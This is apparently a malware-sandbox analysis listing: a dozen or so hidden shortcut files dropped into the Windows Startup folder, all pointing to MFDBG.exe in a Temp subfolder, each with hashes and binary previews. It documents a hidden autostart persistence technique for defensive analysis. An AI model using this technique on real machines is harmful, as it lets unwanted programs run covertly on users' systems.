Preview:	L..................F...."...]W%.{.../z..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3567f0816d0449cf9f893af6ce752311.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94044374936019
Encrypted:	false
SSDEEP:	24:8UhBf7T8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Wzg0R6rMhpBoUBxdRd1nYyg
MD5:	4A4B722AEE04D8D0FCA1446B36DB999D
SHA1:	5D42B8A98A3E7321933AA409A59F21279E984FC8
SHA-256:	839CF2CAC3B813277BFE5246FFB5F76DF111E1838AAF68B8F2A74F96645245CB
SHA-512:	FE6A79F5271116FFB89958E44C25AAE28480C14CB97A433939134487C8489331EACC6DC921C32726F1A55DA4AF329553B17E6B169C257B7C31A4248F5B2F2D3D
Malicious:	false
Preview:	L..................F...."...]W%.{...W.j.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....h.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35ebeb92fc004cc88f3956b286e288a8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939295328933874
Encrypted:	false
SSDEEP:	24:8PhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8T+0R6rMhpBoUBxdRd1nYyg
MD5:	F5BDD110A5866EBC8D61A0B1AA3E60D4
SHA1:	0501AD4761D9B4B5DB1B0B068D3BE615588E0DFB
SHA-256:	15AA690D4413DDE07A954ABEA57372B5F239722B64046C78DE5AFE6FE6F4F971
SHA-512:	21952EB824A182A96470D59DDFC06AF8C35A69AFF102CA385EAA23128D03552C6C19A95EB6C83A9A49196A2C02B6C3FC04E8F0E0311DD6B5D6738A4BC7BF9696
Malicious:	false
Preview:	L..................F...."...]W%.{...b...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3609da433ccd491a95d89be0c83d977f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810649
Encrypted:	false
SSDEEP:	24:8OhBf58iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8E20R6rMhpBoUBxdRd1nYyg
MD5:	5E5758E8EF6418693A51DDF87D87CE16
SHA1:	B7C5C0C15C60337BF6301A5D579388B397C7E946
SHA-256:	63DB26E63842CE765FC1614ADA1074AD22BDE6D8CDA456ABC3FA61F81749B4B0
SHA-512:	FA2B8CBABF71FF2D401CE9E657BF08BBA55C742732BE17444598BA46F15901E3FA39B9CC3E1AE63F669561C781253AB53E56F6707DBF05FDEA2E223D88578012
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...._.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_362ff7f042234e73a13412f8f61b953b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936463642586676
Encrypted:	false
SSDEEP:	24:8BhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xC0R6rMhpBoUBxdRd1nYyg
MD5:	516B2B69E0A81766E3C56EC95395A8CB
SHA1:	4DE0E85DBEE25924FA70990BEBB6478BBF88B0DA
SHA-256:	CF72CC6104A075FCB00B6FCEF56044E78372F6F4E83E80C451745BC34C583D4A
SHA-512:	79465BBEC1E8A3B9B18ED1737C346A339CBE970D31FADFED8ED8D5FFA606325248034BD0734418A1125C0E9412ADB7363AD8EB9997A749AA715720F8A601AD0E
Malicious:	false
Preview:	L..................F...."...]W%.{.....@.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36388aa310cb422dbe174ddf8f33a13c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006387
Encrypted:	false
SSDEEP:	24:8dhBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d+e0R6rMhpBoUBxdRd1nYyg
MD5:	E4FF6EC42304A48276B7C18DEFDD5C10
SHA1:	0C1CC0BA3A0CCCF332B18EF5F43F4416B4ABEAE7
SHA-256:	1E53C3460D386A7442DA24B6F7FA004F7E44BF7B112FB41A988D751889EA6DE0
SHA-512:	DFA730C73059CCB2A2799B2C3BBAF43F9323E8326137BC2D81DE598A30299938D3A1BDF00576710A1A4FCAE01D4F6BCEBFE58996FB3F3B2663E228BCB0A0FFDE
Malicious:	false
Preview:	L..................F...."...]W%.{...>...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3638ea4972dc4bbb9cf046c1ef87bc7e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933066575487204
Encrypted:	false
SSDEEP:	24:8vhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zC0R6rMhpBoUBxdRd1nYyg
MD5:	F956401D7270E46D9FAADF2499DDD5E4
SHA1:	A5E8275464CD07D245BD0E43ED4036640B20CBEC
SHA-256:	D182CFB00FDF511B951F365E784F8F5B5152229653C70BEFF3BD73D7D1C0F244
SHA-512:	67A07AF9340AC27454226D8C9EACDAECAD5666A9F9F53936C2CC61FC3FB986B59A9EC9C1828C374EBD75DE12C038B601021FBDACE7ACE93F0D6AFD4C1F02608C
Malicious:	false
Preview:	L..................F...."...]W%.{....;).{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36614cc8e6d64b739ed5420e58158db8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935798543465829
Encrypted:	false
SSDEEP:	24:8ChBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8onC0R6rMhpBoUBxdRd1nYyg
MD5:	4F0D0A996384AEE8E538BB9C175B0FEB
SHA1:	27DA6388683637731CB0F93A7ADAE2CE915E1263
SHA-256:	E6E1EF0FBD5FD665333D7F8C17436AB72851102FA5D2D59F904499C8D8F9D45E
SHA-512:	4349C487BD89F609CB91E70FC752819086D17DEBE5E0FC72B7C4C91DF3415725A3D99A461E6EE027DEBC7DEAD40A6D064BC82657FA7791F2ACF16C3406BBF044
Malicious:	false
Preview:	L..................F...."...]W%.{....@..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_366e45a6ea764b23bacd599955c8bdb1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9375501700516935
Encrypted:	false
SSDEEP:	24:8N2hBfr48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mJ0R6rMhpBoUBxdRd1nYyg
MD5:	BD19C765E657A2648BB188EDFD25CF1F
SHA1:	B8570B1B6477C188D43737A8A5223A947BF8398E
SHA-256:	3B1DF901FC7BECC5E06C0E771FC4ABD57EC37E44C36624BD55547679CBF9D199
SHA-512:	F87F58E7E21048ADFC8E1D43E9EC5DE98E1E4A0800BB75526D3597507646C0D803CB1AE7D6A9153667DA451638F75384F56D9A6ED041B5BD0729176DFC5D4D35
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36bc5a81e3604298be820ded3ff7b778.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932175839241024
Encrypted:	false
SSDEEP:	24:8mhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sv0R6rMhpBoUBxdRd1nYyg
MD5:	EDDA51804F2D62680550C3D4029B1F29
SHA1:	A42B6410E658247573E223E2B5A9BA4BD6DE9334
SHA-256:	8E997D34A4285FC9F209D5295F073F8A3474577F9AB765390AB52088DF151115
SHA-512:	20F15B4380BCCCDCC90218090369C1B670E608F5FEE801898C44A12CF8EC6FCAA9E59DE6E6F8F830A19D6B4DDAECB71ACF99D08C6E0CFFCE9831F3BD2D84773E
Malicious:	false
Preview:	L..................F...."...]W%.{.....E.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36d072f891074d94ae8ee0b528ec097a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934916677222984
Encrypted:	false
SSDEEP:	24:8lhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81C0R6rMhpBoUBxdRd1nYyg
MD5:	C49046AA05214568F41A6748C65E4CFD
SHA1:	7F5F0ACC7047FC23F8FE1011B65506D792C994EB
SHA-256:	CB78A12E46C5F2ABBBB68CDB6BC01CEBBC7149B5FCF3FCEAF451F59DAFD90842
SHA-512:	A329F6C76ADD893D19CBC1A1381F6CD95FB0B1F808E42D477EF14773A64642D051501CE88DAF220BD6C4340F35F32B72ABA342A19092BA7E0230E29F608E6721
Malicious:	false
Preview:	L..................F...."...]W%.{...Q*..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3735e3024da84597908e5f8fa2c36646.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9415407647767875
Encrypted:	false
SSDEEP:	24:8LhBfr48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vJ0R6rMhpBoUBxdRd1nYyg
MD5:	B43AAE0793C5ADB69047402010B2DAF5
SHA1:	335ED6C9DDDDC49F4D00DB008A98A2CB45D0A6AA
SHA-256:	B4501A236F40FEEBFA36D60E48F6F2B606FA3E27C9A82BCA4E1F3DEF7BC243E8
SHA-512:	0405CF4D2042DB12E348A5396BB510636D89F960AA3611586EBAD35A32DEBEF481166825FE3D13C35489763274B8B752DDE33521BF6132560A65098A4FD069AD
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_374f22d7a5db408ebfdad075fdcaaaaf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938286730913904
Encrypted:	false
SSDEEP:	24:8phBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pNQ0R6rMhpBoUBxdRd1nYyg
MD5:	7FD08CE526EA7DBDBACAB4DC1122F2B6
SHA1:	80F57372121C5EE12F97E1FD266C2A9C85A92D7C
SHA-256:	A7E7B9E8DC9FD76EAD6B5A094E2DBCB753D0589EFD57D091822DB2238D52DE29
SHA-512:	F28706F58882CDB0C015587DF773EDF5D8794AB61305B801AA55D4ED7768A70B882DEB69CB2766F6358B32F5BD924E2AC1861B7919CB685CE4C9A02452AE1023
Malicious:	false
Preview:	L..................F...."...]W%.{...u3;.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37a038621fff4d569ded509ac3a55390.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937161354315651
Encrypted:	false
SSDEEP:	24:8ahBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QuIT0R6rMhpBoUBxdRd1nYyg
MD5:	C8A24A9E872E0ACC21C9FDBB8468367A
SHA1:	B5276A9EF951F3935A2C9C6BCDB41BEC08F16A35
SHA-256:	8BD2E93F4389907889C2F769F145A3107814A59B0061BD4174CE41DC81E3B117
SHA-512:	8FA464642172B256A77C952B5F4E98E7BD2491CAFED7B94E65DDC445EBFA7FBC4C4E32BF57CA82210BC9BB196CADBA92E55B3618799D741B588B7F1EF569CC34
Malicious:	false
